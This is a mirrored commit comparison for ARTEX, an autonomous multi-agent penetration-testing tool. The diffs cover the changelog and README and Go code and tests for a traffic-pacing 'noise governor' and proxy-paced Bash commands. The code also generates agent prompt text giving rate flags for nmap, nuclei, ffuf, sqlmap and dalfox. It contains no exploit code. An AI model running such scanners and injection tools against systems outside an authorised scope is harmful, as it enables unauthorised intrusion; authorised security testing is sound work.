mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-15 12:40:55 +08:00
Compare commits
11
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e636408f66 | ||
|
|
fcbd87445e | ||
|
|
59f768f1ef | ||
|
|
7f3edf9bfe | ||
|
|
2e55615713 | ||
|
|
251ab680cc | ||
|
|
ac6e2b3c44 | ||
|
|
97b0fdced6 | ||
|
|
8f5a67d10c | ||
|
|
d8f3c7aec2 | ||
|
|
c43c69bdd0 |
+34
-1
@@ -4,9 +4,42 @@ All notable changes to this project are documented in this file. The format is b
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added
|
||||
|
||||
- **Target noise governor**: one shared egress governor paces ARTEX's own HTTP requests (WebFetch, the http custom tools and the enrich probe) against a noise profile (`off` by default, `quiet`, `balanced`, `aggressive`): a per-host token bucket with jitter, per-host and global in-flight caps, 429/503 backoff, GET deduplication with a short cache, and a configurable target User-Agent (`ARTEX_TARGET_USER_AGENT`). Off is a strict passthrough (#205).
|
||||
- **Low-and-slow prompt block**: when a noise profile is set, the planner, worker, main agent and chat prompts carry the per-host limits of the profile and the exact rate or delay flags for nmap, nuclei, httpx, katana, ffuf, dalfox and sqlmap; with the profile off the prompts are unchanged (#212).
|
||||
- **Noise profile at runtime**: System settings has a **Target noise** card. It sets the profile (`off`, `quiet`, `balanced`, `aggressive`) through the `noise_profile` setting, which takes precedence over `ARTEX_NOISE_PROFILE`. The change applies to the next WebFetch, http custom tool and enrich request, and to the next agent prompt, without a restart. The card also shows the per-host counters, which `GET /api/settings/noise` returns (#233).
|
||||
- **Bash requests paced through the capture proxy**: with traffic capture on, the Bash proxy URL carries a marker userinfo. The recording proxy paces each request of a marked connection by the noise profile's per-host rate and jitter, and counts it, before it goes upstream. This applies inside CONNECT tunnels too. WebFetch, the http custom tools and enrich keep the unmarked URL and are not paced twice. The proxy now drops `Proxy-Authorization` from every request it forwards or records. This is best effort: only clients that honour the proxy are covered, with capture on (#234).
|
||||
- **Hierarchical budgets**, off by default: a task budget and a per-intent budget take the minimum of their own budget and the parent's remaining budget above the wrap-up reserve, planner calls count inside the task, and reaching the reserve forces a wrap-up (#206).
|
||||
- **Coverage ledger**: the worker records what it examined, ruled out or left open for each surface and risk class with `record_coverage`; gaps, unexamined classes and completeness appear in the planner context, `GET /api/tasks/{id}/coverage`, the coverage card and the Markdown report (#207).
|
||||
- **Closed-question judge**: the LLM fallback judge answers eight fixed questions that the code owns and the code takes the decision; every failure now leads to ask instead of allow, and the previous behaviour stays available as `llm_judge_mode = freeform` (#208).
|
||||
- **argv interception rules**: a new `match_type = argv` matches the parsed prefix of a Bash command exactly, and a pending Bash approval can create such a rule in one click; a code-owned denylist refuses programs where a prefix would allow arbitrary code (#210, #211).
|
||||
- **Scanner output ingestion**: `ingest_scan_output` parses nmap XML, nuclei JSONL, httpx JSONL and ffuf JSON, and writes assets and facts deterministically, so the model never reads the raw output (#214, #215).
|
||||
- **bbot ingestion**: a typed parser splits bbot JSONL events by `scope_distance`, only in-scope events go through `insert_assets`, and `ingest_bbot` reads the file line by line with a 64 KiB cap (#199, #200).
|
||||
- **Tool RAG**, off by default: when the bound tool list of an agent is large, only the subset relevant to the current intent is injected, as a projection that never adds or edits a tool (`ARTEX_TOOL_RAG`) (#204).
|
||||
- **Fact provenance**: `record_fact` takes a closed `source` enum (default `inference`) and every fact carries the server-set `origin`, both shown in `recent_facts`, `list_facts` and `expand_digest` (#194).
|
||||
- **Per-message nonce envelope**: agent- and target-derived fields reach the planner and worker user messages inside a code-owned data envelope with a random nonce per message; operator input stays outside it (#195).
|
||||
- **Intercept risk score and batch approval**: a deterministic risk score (low, medium, high) is shown on each pending approval, and up to 100 pending decisions can be settled in one call, each through the existing single-decision path (#232).
|
||||
- **`ask_operator` target warning**: a request whose question names a host or URL outside the goal targets is tagged as containing target-derived text (#197).
|
||||
- **Opt-in update banner**: `ARTEX_UPDATE_CHECK` makes the backend check the latest GitHub release at most once per 24 hours and the UI show a banner; off by default (#202).
|
||||
- **Release provenance**: release archives carry GitHub build provenance attestations and a CycloneDX SBOM (`gh attestation verify <zip> --repo BaaRai/ARTEX`); release notes are the matching `CHANGELOG.md` section (#219, #201).
|
||||
|
||||
### Changed
|
||||
|
||||
- **Untrusted-output boundary is now on by default**: Norma frames tool results for the worker, planner, chat and main agent unless `ARTEX_UNTRUSTED_BOUNDARY` is set to `0`, `false`, `off` or `no`. It was opt-in via `ARTEX_UNTRUSTED_BOUNDARY=1` in 0.6.0 (#166).
|
||||
- **Untrusted-output boundary is now on by default**: Norma frames tool results for the worker, planner, chat and main agent unless `ARTEX_UNTRUSTED_BOUNDARY` is set to `0`, `false`, `off` or `no`. It was opt-in via `ARTEX_UNTRUSTED_BOUNDARY=1` in 0.6.0 (#166); the default flips here (#203).
|
||||
- **Versioned migrations**: the `db` package applies numbered `db/migrations/NNNN_slug.sql` files once, in order, under the schema advisory lock, and records a SHA-256 checksum in `schema_migrations`; missing, renamed, changed or out-of-order migrations fail closed (#226).
|
||||
- **Coverage graph performance**: the coverage graph batches its connector lookups (three queries instead of one per root and per company) and adds the partial index `idx_ts_icp`; on a task of about 3,000 assets the p50 dropped from 126 ms to 27 ms and the queries per call from 221 to 3 (#230).
|
||||
|
||||
### Fixed
|
||||
|
||||
- **Auto-scope hygiene**: auto `task_scope` rows count for coverage and untested assets only under a declared root, and direct coverage counts anchored assets through fact anchors only; the scope is described as "coverage scope, not enforced" (#196).
|
||||
- **Enrich HTTP probe**: it now dials through `intercept.PinnedDialer`, so the target gate applies and a probe without a target scope is refused (#198).
|
||||
- **Agent hook data races**: the eight package-level hooks are synchronised, so a second wire-up no longer races tasks that already read them (#227).
|
||||
|
||||
### Security
|
||||
|
||||
- **Secrets at rest**: the credential-bearing columns and settings (LLM API keys and proxy, task credentials, MCP server env, notification channel config, search and proxy settings), the exec spec of custom tools and the evidence snapshot heads are encrypted in PostgreSQL with AES-256-GCM (`enc:v1:`) using `ARTEX_SECRET_KEY`, else `keys/secret.key`; existing plaintext rows are backfilled once at startup, and a missing or wrong key while encrypted data exists refuses to start. This protects database dumps and backups, not a running instance (#213, #216, #217, #218).
|
||||
- **URL credentials are dropped before storage**: scan and bbot ingestion, the asset store and archive restore strip URL userinfo, so `https://user:pass@host/app` is stored and matched as `https://host/app` (#222, #223, #224).
|
||||
|
||||
## [0.6.0] - 2026-11-12
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
|
||||
**Autonomous penetration testing that keeps its receipts.**
|
||||
|
||||
(upstream: [Autumn-27/ARTEX](https://github.com/Autumn-27), AGPL-3.0)
|
||||
|
||||
Self-hosted multi-agent offensive security. A planner explores, workers run real tools,
|
||||
and every finding stays bound to the assets and HTTP traffic that prove it.
|
||||
|
||||
@@ -405,8 +407,15 @@ flight), `aggressive` = 20 req/s (burst 40, 4 in flight). A profile adds jitter,
|
||||
429/503 (honours `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), deduplicates identical
|
||||
in-flight GETs and caches them briefly (60/30/10 s; never POST/PUT/PATCH/DELETE), and logs a
|
||||
per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests
|
||||
that carry none. Bash-launched tools are not paced yet; the low-and-slow prompt block supplies
|
||||
their rate flags.
|
||||
that carry none. With traffic capture on, Bash commands that use the proxy (curl, wget,
|
||||
python-requests) are paced too, per host by the same rate and jitter, and counted in the same
|
||||
per-host lines. The in-flight caps, retries and cache apply only to ARTEX's own requests. This is
|
||||
best effort, not a security boundary. Raw scanners such as nmap are not paced, and neither is a
|
||||
command that bypasses the proxy (`--noproxy`, a removed proxy variable). With capture off,
|
||||
nothing launched from Bash is paced. The low-and-slow prompt block supplies the rate flags in
|
||||
every case.
|
||||
The **Target noise** card in System settings sets the profile at runtime (no restart) and shows the
|
||||
per-host counters; once saved, that setting takes precedence over `ARTEX_NOISE_PROFILE`.
|
||||
|
||||
**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker,
|
||||
main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and
|
||||
@@ -686,6 +695,12 @@ Operational security properties:
|
||||
|
||||
---
|
||||
|
||||
## About this fork
|
||||
|
||||
This repository is the English translation and continuation of ARTEX, originally by [Autumn-27](https://github.com/Autumn-27). The upstream repository is no longer public, so the link points to the author profile. Changes in this fork are tracked in [CHANGELOG.md](CHANGELOG.md), under the same AGPL-3.0 license.
|
||||
|
||||
---
|
||||
|
||||
## References and prior art
|
||||
|
||||
- [Cairn](https://github.com/oritera/Cairn)
|
||||
|
||||
@@ -14,10 +14,11 @@ import (
|
||||
// prompts stay byte-for-byte unchanged by default.
|
||||
const noiseProfileHeader = "[Noise profile: "
|
||||
|
||||
// noiseProfileBlock returns the low-and-slow guidance for the active noise
|
||||
// profile (ARTEX_NOISE_PROFILE), or "" when the profile is off. The text is
|
||||
// code-owned and carries no target data.
|
||||
func noiseProfileBlock() string { return renderNoiseProfile(egress.ProfileFromEnv()) }
|
||||
// noiseProfileBlock returns the low-and-slow guidance for the current noise
|
||||
// profile (the noise_profile setting, else ARTEX_NOISE_PROFILE), or "" when the
|
||||
// profile is off. It is read at each prompt build, so a changed setting shows in
|
||||
// the next prompt. The text is code-owned and carries no target data.
|
||||
func noiseProfileBlock() string { return renderNoiseProfile(egress.CurrentProfile()) }
|
||||
|
||||
// renderNoiseProfile renders the block for one profile. It is pure: tests cover
|
||||
// every profile without touching the environment.
|
||||
@@ -63,6 +64,6 @@ func renderNoiseProfile(p egress.Profile) string {
|
||||
fmt.Fprintf(&b, "- sqlmap: --delay=%s --threads=1\n", delaySec)
|
||||
fmt.Fprintf(&b, "For any other tool, stay at or below %d requests per second per host, at most %s in flight, and at least %d ms between requests, using the tool's own rate or delay flag. Keep bbot within the same limits with its own rate settings, and do not enable active modules the program policy does not allow.\n", rps, inFlight, delayMS)
|
||||
b.WriteString("Prefer passive and read-only checks; test one host at a time; do not run two scanners against the same host in parallel; on 429 or 503 stop and back off; never raise the rate to meet a deadline.\n")
|
||||
b.WriteString("ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile, but commands launched through Bash are not paced: these flags are the only brake.\n")
|
||||
b.WriteString("ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile. With traffic capture on, Bash commands that use the capture proxy (curl, wget, python-requests) are paced too, by rate and jitter; raw scanners such as nmap and commands that bypass the proxy are not. These flags remain the brake: do not rely on the proxy.\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
+16
-11
@@ -41,7 +41,7 @@ func TestRenderNoiseProfileTable(t *testing.T) {
|
||||
fmt.Sprintf("- dalfox scan: --rate-limit %d --workers %d", c.rps, c.conc),
|
||||
fmt.Sprintf("- sqlmap: --delay=%s --threads=1", c.sql),
|
||||
fmt.Sprintf("at least %d ms between requests", c.delay),
|
||||
"commands launched through Bash are not paced",
|
||||
"ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile. With traffic capture on, Bash commands that use the capture proxy (curl, wget, python-requests) are paced too, by rate and jitter; raw scanners such as nmap and commands that bypass the proxy are not. These flags remain the brake: do not rely on the proxy.",
|
||||
} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("%s: missing %q in:\n%s", c.name, want, got)
|
||||
@@ -59,18 +59,23 @@ func TestPromptBuildersNoiseBlock(t *testing.T) {
|
||||
"mainagent": func() string { return mainAgentSystem("goal", "/data", "/work") },
|
||||
"chat": func() string { return chatSystem("auto", "/data", "/work") },
|
||||
}
|
||||
for _, env := range []string{"", "off"} {
|
||||
t.Setenv("ARTEX_NOISE_PROFILE", env)
|
||||
prev := egress.CurrentProfile()
|
||||
t.Cleanup(func() { egress.SetProfile(prev) })
|
||||
// The block follows the current profile, not the environment.
|
||||
t.Setenv("ARTEX_NOISE_PROFILE", "aggressive")
|
||||
egress.SetProfile(egress.Profile{Name: "off"})
|
||||
for name, build := range builders {
|
||||
if got := build(); strings.Contains(got, noiseProfileHeader) {
|
||||
t.Errorf("%s with profile off contains the noise block", name)
|
||||
}
|
||||
}
|
||||
for _, profile := range []string{"quiet", "balanced"} {
|
||||
egress.SetProfile(egress.Profiles[profile])
|
||||
for name, build := range builders {
|
||||
if got := build(); strings.Contains(got, noiseProfileHeader) {
|
||||
t.Errorf("%s with profile %q contains the noise block", name, env)
|
||||
got := build()
|
||||
if !strings.Contains(got, noiseProfileHeader+profile) || strings.Contains(got, noiseProfileHeader+"aggressive") {
|
||||
t.Errorf("%s after SetProfile(%s) is missing its block or shows the env profile", name, profile)
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Setenv("ARTEX_NOISE_PROFILE", "quiet")
|
||||
for name, build := range builders {
|
||||
if got := build(); !strings.Contains(got, noiseProfileHeader+"quiet") {
|
||||
t.Errorf("%s with quiet is missing the noise block", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -49,3 +49,26 @@ func TestProxyEnvInjectsCAWhenRecording(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only the recording proxy (a CA is present) gets the pace marker; the global
|
||||
// proxy of the capture-off path is passed as configured.
|
||||
func TestProxyEnvMarksOnlyTheRecordingProxy(t *testing.T) {
|
||||
proxyVars := map[string]bool{"HTTP_PROXY": true, "HTTPS_PROXY": true, "ALL_PROXY": true}
|
||||
check := func(env []string, want, what string) {
|
||||
t.Helper()
|
||||
n := 0
|
||||
for _, e := range env {
|
||||
if k, v, _ := strings.Cut(e, "="); proxyVars[strings.ToUpper(k)] {
|
||||
n++
|
||||
if v != want {
|
||||
t.Errorf("%s: %s, want %s", what, e, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
if n != 6 {
|
||||
t.Errorf("%s: %d proxy variables, want 6", what, n)
|
||||
}
|
||||
}
|
||||
check(proxyEnv("http://127.0.0.1:8788", "/data/ca.pem"), "http://artex-pace:artex-pace@127.0.0.1:8788", "capture on")
|
||||
check(proxyEnv("http://u:p@10.0.0.1:3128", ""), "http://u:p@10.0.0.1:3128", "capture off")
|
||||
}
|
||||
|
||||
+5
-5
@@ -27,11 +27,12 @@ func withWebFetch(ctx context.Context, tools []actool.CoreTool, proxy, caCert st
|
||||
gated := scoped && scope.Enabled != nil && scope.Enabled()
|
||||
webFetch := actool.NewWebFetch(actool.WebFetchConfig{Proxy: proxy, CACert: caCert, CheckRedirect: intercept.RedirectCheck("WebFetch"),
|
||||
DialContext: intercept.PinnedDialer("WebFetch", scoped), DisableDirectRetry: gated})
|
||||
return append(tools[:len(tools):len(tools)], governedFetch{webFetch, egressGovernor()})
|
||||
return append(tools[:len(tools):len(tools)], governedFetch{webFetch})
|
||||
}
|
||||
|
||||
// egressGovernor is the governor of WebFetch; a test may pin it.
|
||||
var egressGovernor = egress.Shared
|
||||
// egressGovernor resolves the governor of a WebFetch call, once per call so a
|
||||
// changed noise profile applies to the next call; a test may pin it.
|
||||
var egressGovernor = egress.Current
|
||||
|
||||
// governedFetch runs each WebFetch call as one send under the egress governor
|
||||
// (off by default; then the call runs unchanged). Under a noise profile it
|
||||
@@ -42,7 +43,6 @@ var egressGovernor = egress.Shared
|
||||
// 429/503 is not retried.
|
||||
type governedFetch struct {
|
||||
actool.CoreTool
|
||||
g *egress.Governor
|
||||
}
|
||||
|
||||
func (f governedFetch) Call(ctx context.Context, input json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
|
||||
@@ -56,7 +56,7 @@ func (f governedFetch) Call(ctx context.Context, input json.RawMessage, tc *acto
|
||||
if err != nil || u.Host == "" {
|
||||
return f.CoreTool.Call(ctx, input, tc) // the tool reports the bad URL
|
||||
}
|
||||
return egress.Do(f.g, ctx, u, func() (actool.Result, error) {
|
||||
return egress.Do(egressGovernor(), ctx, u, func() (actool.Result, error) {
|
||||
return f.CoreTool.Call(ctx, input, tc)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -27,7 +27,11 @@ func TestWebFetchProfileDoesNotCache(t *testing.T) {
|
||||
checks.Add(1)
|
||||
return nil
|
||||
}})
|
||||
tool := governedFetch{inner, egress.New(egress.Profiles["balanced"])}
|
||||
balanced := egress.New(egress.Profiles["balanced"])
|
||||
old := egressGovernor
|
||||
egressGovernor = func() *egress.Governor { return balanced }
|
||||
t.Cleanup(func() { egressGovernor = old })
|
||||
tool := governedFetch{inner}
|
||||
ctx := intercept.WithTargetScope(t.Context(), intercept.TargetScope{TaskID: "7"})
|
||||
for range 2 {
|
||||
res, err := tool.Call(ctx, json.RawMessage(fetchInputJSON(pair.start)), &actool.ToolContext{})
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/egress"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/harness"
|
||||
@@ -212,10 +213,19 @@ func (w *Worker) SetWebSearch(o WebSearchOpts) { w.webSearch = o }
|
||||
// honor the proxy vars. ALL_PROXY is set too so a socks5 egress proxy (which curl
|
||||
// only reads from ALL_PROXY, not HTTP(S)_PROXY) works in the capture-off path.
|
||||
// Empty proxyAddr → nil (direct, unchanged env).
|
||||
//
|
||||
// With a MITM CA (capture on) the proxy URL carries the pace marker userinfo
|
||||
// (egress.MarkProxyURL): the recording proxy then paces this connection's
|
||||
// requests by the noise profile. Only Bash gets the marker; WebFetch, the http
|
||||
// custom tools and enrich keep the plain URL, since egress paces them already.
|
||||
// The global proxy (capture off) is left as configured.
|
||||
func proxyEnv(proxyAddr, caCert string) []string {
|
||||
if proxyAddr == "" {
|
||||
return nil
|
||||
}
|
||||
if caCert != "" {
|
||||
proxyAddr = egress.MarkProxyURL(proxyAddr)
|
||||
}
|
||||
env := []string{
|
||||
"HTTP_PROXY=" + proxyAddr, "HTTPS_PROXY=" + proxyAddr,
|
||||
"http_proxy=" + proxyAddr, "https_proxy=" + proxyAddr,
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"runtime"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// keepProfile restores the process profile after a test that changes it.
|
||||
func keepProfile(t *testing.T) {
|
||||
prev := CurrentProfile()
|
||||
t.Cleanup(func() { SetProfile(prev) })
|
||||
}
|
||||
|
||||
func TestSetProfileConcurrentAndConsistent(t *testing.T) {
|
||||
keepProfile(t)
|
||||
names := []string{"off", "quiet", "balanced", "aggressive"}
|
||||
var wg sync.WaitGroup
|
||||
for i := range 8 {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for j := range 200 {
|
||||
p, _ := ProfileByName(names[(i+j)%len(names)])
|
||||
SetProfile(p)
|
||||
if g := Current(); g == nil || g.Profile().Name == "" {
|
||||
t.Errorf("Current() = %v during swaps", g)
|
||||
return
|
||||
}
|
||||
_ = CurrentProfile()
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
for _, name := range names {
|
||||
p, _ := ProfileByName(name)
|
||||
g := SetProfile(p)
|
||||
if Current() != g || CurrentProfile().Name != name || Current().Profile() != CurrentProfile() {
|
||||
t.Fatalf("after SetProfile(%s): Current=%p want %p, CurrentProfile=%q", name, Current(), g, CurrentProfile().Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A request in flight keeps the governor it started on: its release frees the
|
||||
// old governor's slots, and the new governor starts with no counter.
|
||||
func TestSetProfileInFlightFinishesOnOldGovernor(t *testing.T) {
|
||||
keepProfile(t)
|
||||
old := SetProfile(open)
|
||||
release, err := old.acquire(t.Context(), "a.example")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fresh := SetProfile(Profiles["balanced"])
|
||||
if Current() != fresh || len(fresh.Snapshot()) != 0 {
|
||||
t.Fatalf("new governor: current=%p fresh=%p snapshot=%v", Current(), fresh, fresh.Snapshot())
|
||||
}
|
||||
if s := old.Snapshot(); len(s) != 1 || s[0].Inflight != 1 {
|
||||
t.Fatalf("old governor before release: %+v", s)
|
||||
}
|
||||
release()
|
||||
if s := old.Snapshot(); len(s) != 1 || s[0].Inflight != 0 || s[0].RPM != 1 || s[0].PeakInflight != 1 {
|
||||
t.Fatalf("old governor after release: %+v", s)
|
||||
}
|
||||
}
|
||||
|
||||
type recordRT struct{ got *http.Request }
|
||||
|
||||
func (r *recordRT) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
r.got = req
|
||||
return &http.Response{StatusCode: 204, Body: http.NoBody, Request: req}, nil
|
||||
}
|
||||
|
||||
// Off stays a strict passthrough, through Transport and Dynamic alike.
|
||||
func TestOffIsPassthroughAfterSetProfile(t *testing.T) {
|
||||
keepProfile(t)
|
||||
t.Setenv("ARTEX_TARGET_USER_AGENT", "artex-test/1")
|
||||
off, ok := ProfileByName("OFF")
|
||||
if !ok || off.Name != "off" || off.UserAgent != "" {
|
||||
t.Fatalf("ProfileByName(OFF) = %+v %v", off, ok)
|
||||
}
|
||||
SetProfile(off)
|
||||
base := &recordRT{}
|
||||
if tr := Current().Transport("x", base); tr != http.RoundTripper(base) {
|
||||
t.Fatalf("off Transport = %T, want the base itself", tr)
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "http://a.example/", nil)
|
||||
if _, err := Dynamic("x", base).RoundTrip(req); err != nil || base.got != req || req.Header.Get("User-Agent") != "" {
|
||||
t.Fatalf("off Dynamic: err=%v same request=%v UA=%q", err, base.got == req, req.Header.Get("User-Agent"))
|
||||
}
|
||||
if len(Current().Snapshot()) != 0 {
|
||||
t.Fatalf("off counted a request: %v", Current().Snapshot())
|
||||
}
|
||||
// Any other profile carries the user agent.
|
||||
if p, _ := ProfileByName("balanced"); p.UserAgent != "artex-test/1" {
|
||||
t.Fatalf("balanced UserAgent = %q", p.UserAgent)
|
||||
}
|
||||
if _, ok := ProfileByName(""); ok {
|
||||
t.Fatal(`ProfileByName("") accepted`)
|
||||
}
|
||||
if _, ok := ProfileByName("loud"); ok {
|
||||
t.Fatal(`ProfileByName("loud") accepted`)
|
||||
}
|
||||
}
|
||||
|
||||
// Dynamic resolves the governor per request: a client built before
|
||||
// SetProfile is paced by the new profile.
|
||||
func TestDynamicFollowsSetProfile(t *testing.T) {
|
||||
keepProfile(t)
|
||||
srv := newServer(t, 0, nil)
|
||||
SetProfile(Profile{Name: "off"})
|
||||
client := &http.Client{Transport: Dynamic("ns", nil)}
|
||||
get := func() {
|
||||
t.Helper()
|
||||
resp, err := client.Get(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
}
|
||||
get()
|
||||
g := SetProfile(open)
|
||||
get()
|
||||
get()
|
||||
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 2 {
|
||||
t.Fatalf("snapshot after switch: %+v", s)
|
||||
}
|
||||
}
|
||||
|
||||
// Snapshot reads the counters without starting a new minute; report does.
|
||||
func TestSnapshotDoesNotReset(t *testing.T) {
|
||||
g := New(open)
|
||||
srv := newServer(t, 0, nil)
|
||||
tr := g.Transport("ns", nil)
|
||||
for range 3 {
|
||||
req, _ := http.NewRequest(http.MethodGet, srv.URL, nil)
|
||||
resp, err := tr.RoundTrip(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
}
|
||||
want := HostNoise{Host: HostKey(srvURL(t, srv.URL)), RPM: 3, PeakRPM: 3, PeakInflight: 1}
|
||||
for range 2 {
|
||||
if s := g.Snapshot(); len(s) != 1 || s[0] != want {
|
||||
t.Fatalf("snapshot = %+v, want [%+v]", s, want)
|
||||
}
|
||||
}
|
||||
g.report()
|
||||
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 0 || s[0].PeakRPM != 3 {
|
||||
t.Fatalf("snapshot after report = %+v, want rpm 0 and peak 3", s)
|
||||
}
|
||||
}
|
||||
|
||||
// SetProfile never starts a goroutine of its own: one ticker serves every
|
||||
// governor.
|
||||
func TestSetProfileStartsNoGoroutine(t *testing.T) {
|
||||
keepProfile(t)
|
||||
SetProfile(Profiles["quiet"]) // the reporter is running from here on
|
||||
before := runtime.NumGoroutine()
|
||||
for range 50 {
|
||||
SetProfile(Profiles["balanced"])
|
||||
SetProfile(Profile{Name: "off"})
|
||||
}
|
||||
if after := runtime.NumGoroutine(); after > before {
|
||||
t.Fatalf("goroutines %d -> %d after 100 SetProfile calls", before, after)
|
||||
}
|
||||
}
|
||||
|
||||
func srvURL(t *testing.T, raw string) *url.URL {
|
||||
t.Helper()
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return u
|
||||
}
|
||||
+124
-22
@@ -1,6 +1,7 @@
|
||||
// Package egress is the governor the platform-owned HTTP requests to a target
|
||||
// pass through (WebFetch, the http custom tools, the enrich probe). A noise
|
||||
// profile (ARTEX_NOISE_PROFILE) sets every lever: a token bucket, a jitter and a
|
||||
// profile (the noise_profile setting, else ARTEX_NOISE_PROFILE; SetProfile
|
||||
// changes it at runtime) sets every lever: a token bucket, a jitter and a
|
||||
// concurrency cap per host, a global concurrency cap, backoff on 429/503, and,
|
||||
// for the GET requests of one task, coalescing and a short cache. The default
|
||||
// profile, off, is a strict passthrough: requests and timing are unchanged.
|
||||
@@ -22,6 +23,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
@@ -54,42 +56,91 @@ var Profiles = map[string]Profile{
|
||||
"aggressive": {Name: "aggressive", RPS: 20, Burst: 40, MaxPerHost: 4, MaxGlobal: 32, Jitter: 0.1, CacheTTL: 10 * time.Second, MaxRetries: 2, BaseDelay: 500 * time.Millisecond, MaxDelay: 10 * time.Second},
|
||||
}
|
||||
|
||||
// ProfileFromEnv returns the profile ARTEX_NOISE_PROFILE names; unset, "off" or
|
||||
// unknown is off.
|
||||
func ProfileFromEnv() Profile {
|
||||
name := strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_NOISE_PROFILE")))
|
||||
p, ok := Profiles[name]
|
||||
if !ok {
|
||||
if name != "" && name != "off" {
|
||||
log.Printf("[egress] ARTEX_NOISE_PROFILE=%q is not off, quiet, balanced or aggressive; using off", name)
|
||||
}
|
||||
return Profile{Name: "off"}
|
||||
// ProfileByName returns the profile name names (off, quiet, balanced or
|
||||
// aggressive, any case); ok is false for any other name, "" included. A profile
|
||||
// other than off carries ARTEX_TARGET_USER_AGENT; off stays a strict passthrough.
|
||||
func ProfileByName(name string) (p Profile, ok bool) {
|
||||
name = strings.ToLower(strings.TrimSpace(name))
|
||||
if name == "off" {
|
||||
return Profile{Name: "off"}, true
|
||||
}
|
||||
if p, ok = Profiles[name]; !ok {
|
||||
return Profile{Name: "off"}, false
|
||||
}
|
||||
if ua := strings.TrimSpace(os.Getenv("ARTEX_TARGET_USER_AGENT")); strings.ContainsFunc(ua, unicode.IsControl) {
|
||||
log.Printf("[egress] ARTEX_TARGET_USER_AGENT contains a control character; ignored")
|
||||
} else {
|
||||
p.UserAgent = ua
|
||||
}
|
||||
return p, true
|
||||
}
|
||||
|
||||
// ProfileFromEnv returns the profile ARTEX_NOISE_PROFILE names; unset, "off" or
|
||||
// unknown is off.
|
||||
func ProfileFromEnv() Profile {
|
||||
name := strings.TrimSpace(os.Getenv("ARTEX_NOISE_PROFILE"))
|
||||
p, ok := ProfileByName(name)
|
||||
if !ok && name != "" {
|
||||
log.Printf("[egress] ARTEX_NOISE_PROFILE=%q is not off, quiet, balanced or aggressive; using off", name)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// Shared is the one governor of the process, built from the environment on
|
||||
// first use; WebFetch, the http custom tools and the enrich probe all use it.
|
||||
// Under a profile it logs the noise counter of each host once a minute.
|
||||
var Shared = sync.OnceValue(func() *Governor {
|
||||
g := New(ProfileFromEnv())
|
||||
// current is the governor new requests use. SetProfile replaces it; a request
|
||||
// already in flight keeps the governor it started on, so its slots are
|
||||
// released where they were taken.
|
||||
var (
|
||||
current atomic.Pointer[Governor]
|
||||
initCurrent sync.Once
|
||||
reporterOnce sync.Once
|
||||
)
|
||||
|
||||
// Current returns the governor of the process: the one SetProfile published
|
||||
// last, or, before any SetProfile, one built from the environment on first use.
|
||||
// WebFetch, the http custom tools and the enrich probe resolve it per request.
|
||||
func Current() *Governor {
|
||||
if g := current.Load(); g != nil {
|
||||
return g
|
||||
}
|
||||
initCurrent.Do(func() {
|
||||
g := New(ProfileFromEnv())
|
||||
if current.CompareAndSwap(nil, g) {
|
||||
log.Printf("[egress] noise profile: %s", g.p.Name)
|
||||
}
|
||||
startReporter()
|
||||
})
|
||||
return current.Load()
|
||||
}
|
||||
|
||||
// CurrentProfile is the profile of Current.
|
||||
func CurrentProfile() Profile { return Current().p }
|
||||
|
||||
// SetProfile builds a governor for p and publishes it: new requests use it,
|
||||
// requests in flight finish on the previous one. The counters start afresh.
|
||||
func SetProfile(p Profile) *Governor {
|
||||
g := New(p)
|
||||
current.Store(g)
|
||||
log.Printf("[egress] noise profile: %s", g.p.Name)
|
||||
if !g.off() {
|
||||
startReporter()
|
||||
return g
|
||||
}
|
||||
|
||||
// startReporter starts the one package-level ticker that logs, once a minute,
|
||||
// the noise counter of each host of the current governor. SetProfile never
|
||||
// starts another.
|
||||
func startReporter() {
|
||||
reporterOnce.Do(func() {
|
||||
go func() {
|
||||
for range time.Tick(time.Minute) {
|
||||
for _, l := range g.report() {
|
||||
t := time.NewTicker(time.Minute)
